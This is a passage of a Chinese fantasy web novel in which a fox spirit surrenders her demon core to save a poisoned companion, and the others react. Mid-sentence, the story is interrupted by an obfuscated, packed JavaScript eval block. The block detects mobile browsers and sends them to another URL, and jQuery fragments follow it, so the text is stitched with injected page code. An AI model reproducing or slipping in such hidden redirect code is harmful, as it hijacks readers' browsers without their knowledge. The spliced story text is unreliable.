昏迷的苏木晗太过脆弱。
鱼穗穗怕她撑不住,将她牢牢护在怀里,用身体帮她抵挡住一部分鬼气。
要不是她是妖,□□比平常人强悍,这会怕是要被这些横冲直撞的鬼气,直接掀翻,呕出血来。
即便如此鱼穗穗也有些吃不消,生出了汗。
“池砚舟?”
“池砚舟你在哪?”
鱼穗穗第二次喊他时,身畔就涌现了一堆红色丝线。
从脚腕缠绕上腰肢,如潮水般将她整个身躯全部包裹,因此帮她挡住了部分鬼气。
被束缚的感觉,叫鱼穗穗没来由的紧张。
鱼穗穗刚想喊他,就透过缠绕住她丝丝缕缕的红线缝隙里,看到了池砚舟的脸,正诡异的勾唇一步步朝她走来。
“池砚舟?”
鱼穗穗试探的喊他,池砚舟驻步,歪了歪头。
“穗穗啊,是我。”
冰冷的掌心拉过她的手臂。
“你在找我?”
“对,我们得快先出去。”
最后鱼穗穗是被池砚舟拉着,从窗户上翻出去的。在他们出去后,门窗就被全部关死了。
等谢云昇握着断尘剑,满身疲惫的出来时,已经是一刻中之后了。
鱼穗穗连忙着急的迎了上去。
“云昇哥你没事吧!”有些犹豫的望了望他的身后,“珠姐姐……”
谢云昇将断尘剑收回剑鞘。
“她没事,我已经将珠娘的鬼气压制住,设了阵法。这几日她都会被困在这间屋子里,暂时出不来。”
鱼穗穗看了眼紧闭的房门,愣愣点头。
“苏姐姐的情况也不太好,原本就妖毒发作,这么一折腾,身体受损,妖毒算是彻底爆发。”
谢云昇垂在身侧的手紧了又紧,哑声道:“我最新炼制的丹药先给她服下,照顾好她。我出去一趟。”
“云昇哥!”
这次谢云昇没回头。
鱼穗穗也没来得急引出,用她妖丹救人的话题。
*
谢云昇离开后。
鱼穗穗便叫池砚舟将苏木晗抱回了房中。
天色已经在次黑沉。
四周点满了橙黄的烛火,即便渡上暖光,躺在床上的苏木晗脸色依旧苍白,双眸紧闭,久久未能醒来。
鱼穗穗心底七上八下的。
即便知道苏木晗死不了,可看见她这幅虚弱的样子,还是忍不住担忧。
这么久过去,谢云昇也还未回来。
【宿主,该取妖丹了】
【女主已经坚持不下去了】
鱼穗穗紧紧扣着手指,心中存有侥幸。她其实对刨妖丹是存着恐惧的,毕竟这是要活生生破开血肉来取的。
她不是池砚舟。
做不到面无表情,怕疼的很。
更何况,这剧情本该池砚舟来走的。
眼下他却老神在在的坐在一旁,眼看苏木晗都要嘎了,都半点不见着急。
难道还要她亲自动手取不成?
鱼穗穗白着脸,试探的问道:“池砚舟,木晗姐姐快撑不住了。”
池砚舟原本垂着眼珠子,摆弄手指的视线转向她:“你想说什么?”
池砚舟的嗓音偏冷,鱼穗穗有一瞬的愣神,他怎么一点不关心都感觉。
“我……你先前不是想取我妖丹吗?”
或许是话题开了口子,鱼穗穗突然感觉轻松了很多,在池砚舟的视线里,一口气将憋了许久的话全部说了出来。
“我上次说的都是真心话!”
“苏姐姐坚持不了多久。我是真的想救苏姐姐,也是真的愿意被挖妖丹。只是我自己下不了手。”
“所以?”
池砚舟抚摸手串的手一顿,鱼穗穗咬了咬唇。
“所以池砚舟你能不能帮帮我?”
“你的意思是,由我来取妖丹。”
“嗯。”
“不行。”
鱼穗穗拧眉,不知道短短几天过去,池砚舟为何就改变了主意。
见他确实不打算出手帮忙,鱼穗穗咬牙:“那我自己来。”
“你就这般想救她?”
“人命关天,在不救可就要没命了啊!更何况,我没了妖丹却不会丧命。”
池砚舟不知道想了些什么,沉默了一秒,点头道:“我可以帮你。”
得到池砚舟松口。
鱼穗穗的心情却更加复杂,松了口气的同时,心底又觉得失落。
拖拖拉拉好几日,最终逃不过这一劫,到底还是走到了这一步。
算了,早死早超生。
她也不用在提心吊胆的,担心什么时候被挖妖丹了。
更何况。
挖妖丹后,她离回家更进一步。
这是好事。
鱼穗穗在美人榻上躺下。
池砚舟动作很快,已然净手焚香,将放在羊皮卷里的器具在案几上逐一展开。
指尖划过刀刃。
鱼穗穗忍不住打了个寒颤,“等等,要不还是把我迷晕了在取吧!”
没等池砚舟开口。
鱼穗穗就自行摇头否决了。
“算了,就这样吧!”
主要是她怕,真迷晕了取,事后她醒不过来了怎么办!
清醒着虽然可怕,但更妥帖。
反复洗脑,说服自己后。
鱼穗穗自觉解开衣领,露出里面薄薄的打底,大大嘞嘞的躺在榻上。
一副英勇就义的模样。
池砚舟也取了匕首,站在她的身侧。
“闭眼。我会快很准,尽量轻些。”
鱼穗穗感激的看了他一眼,老实的闭眼,她能感觉到池砚舟手中的匕首抵着她胸口。
凉丝丝的。
一秒,两秒,三秒……
鱼穗穗额上都出了汗,心底已然脑补很多,血淋淋的场面,只是胸口一点也不疼。
池砚舟已经开始了吗?
这是不是太轻了点?
“池砚舟?”
池砚舟看她紧闭着眼,颤抖的眼睫,明明害怕至极,却依旧坚持的样子,瞬间觉得无趣极了。
“你很害怕?”
“当然。”
“为何?”
“这可是实打实的白刀子进,红刀子出,很疼的。”
鱼穗穗震惊,池砚舟歪头,似是思考。
“只会痛一下。”
鱼穗穗:!!?
“怎么会只有几下呢!”
池砚舟沉默。
“起来。既然害怕,那便算了。”
一听他要罢工,鱼穗穗一下睁开了眼,握住了他的手腕。
池砚舟看她执拗,伸手将她拉开,哐当一声,匕首也被丢回案几上。
“谁告诉你,取妖丹只能这么取的。”
“你说什么?”
鱼穗穗一惊,一双眼睛亮晶晶的,望向池砚舟,满是惊喜道:“你还有其它方法对不对?”
“蠢死了。”池砚舟鄙夷的看着她,“你真的是狐妖吗?”
鱼穗穗:!
她现在确确实实是狐妖。
只不过是半路出家,半吊子的很,很多事情都不清楚。
不过现在,这些都不重要。
鱼穗穗满满期待的注视池砚舟:“池砚舟你最聪明了,你一定有办法其它办法的对不对?”
这招显然很受用。
池砚舟的唇角翘起,被她顺毛成功。
“你只要凝神,调动妖力,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241537|197759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自行将妖丹取出就好。”
鱼穗穗:!
这么简单?
那系统为什么一定要说,刨妖丹?
像是直到她心中所想。
池砚舟视线淡淡扫过她的丹田,解释道:“一般的妖,都没你这般好心。想要妖丹,无一不是等人血淋淋的将它刨出来。”
说着指腹落在自己的丹田上,“就从这里,用刀刃抛开,很简单。”
鱼穗穗打了个寒颤,听听就很痛,不过池砚舟这是变相说她傻?
没关系。
被说傻不会少块肉,但池砚舟告诉她的方法,却是实打实的能叫她少挨一刀。
鱼穗穗笼上衣服,盘腿坐下,按照池砚舟所说运行妖气。
很快鱼穗穗就发现,这些年修炼偷懒的回旋镖,终于射回了她身上。
鼓足了劲,憋了半天。
妖丹的影子半点没见着,一双毛绒绒的狐狸耳朵却是说变就变,“砰”的一下就出来了。
急的鱼穗穗团团转。
“有没有在简单靠谱点的办法?”
池砚舟沉默。
鱼穗穗叹气,认命的继续。
早知今日,当初就该好好修炼,绝不偷懒。
可惜没有如果。
鱼穗穗拿出十二分精神,多次尝试,总算能察觉到妖丹的存在,并托举着它,从丹田一路上行。
从嘴里吐出那一刻。
鱼穗穗才发现。
她的妖丹很好看。
晶莹剔透,裹挟着金色流光。
鱼穗穗将它笼在手心,捧到池砚舟面前。
“池砚舟我变出来了!”
鱼穗穗满脸惊喜,双眸紧紧盯着这颗即将融入苏木晗体内的妖丹,充满好奇。
“嗯,穗穗的妖丹很漂亮。”
“穗穗想好了吗?”
【宿主,时间不多了】
鱼穗穗其实有些舍不得,指腹摩挲了几下,坚定的点头。
“嗯。”
鱼穗穗将妖丹塞入苏木晗掌心,在用妖力,一点点将她的妖丹化开,以便苏木晗吸收。
等到全部做完。
鱼穗穗已经满头大汗。
“阿穗!”
谢云昇回来。
便看到鱼穗穗的妖丹消融,妖力亏空,虚弱的倒下,被池砚舟揽在怀中的景象。
不用细说。
光看她虚弱的连耳朵都藏不住,谢云昇已然知道她做了什么。
她的妖丹没了。
胸口骤然生出愤懑,心也跟着不断往下坠。
气自己无用,气鱼穗穗自作主张,气池砚舟纵容,丝毫不阻拦,任由她胡闹,又或者在其中推波助澜。
“云昇哥?你别生气。是我自愿的。”
可一对上鱼穗穗苍白虚弱的脸,谢云昇哑了火,在说不出话来。
满心的愤懑,全部化作对自己的谴责。
自己有什么脸训斥她。
阿穗什么也没做错,她只是善良而已。
归根结底,错的只有他。
是他太过无能,不能救苏木晗,这才逼的阿穗不得不刨自己的妖丹。
这得多疼!
谢云昇脸色煞白,甚至有些站不住。
“云昇哥!”
鱼穗穗挣扎着,想要脱离池砚舟怀抱,跑去扶他。
好在谢云昇,撑住桌角稳住了身形,神色复杂的看着她,张了张嘴,想问她伤口痛不痛,可最终只是无力道。
“我没事。阿穗你先回去歇息吧。”
“麻烦砚舟送她回去,这里我来照看就好。”
等房门关闭。
谢云昇在忍不住,心绪翻涌。强压下得气血上涌,气急攻心的撑着桌角,呕出一口鲜血。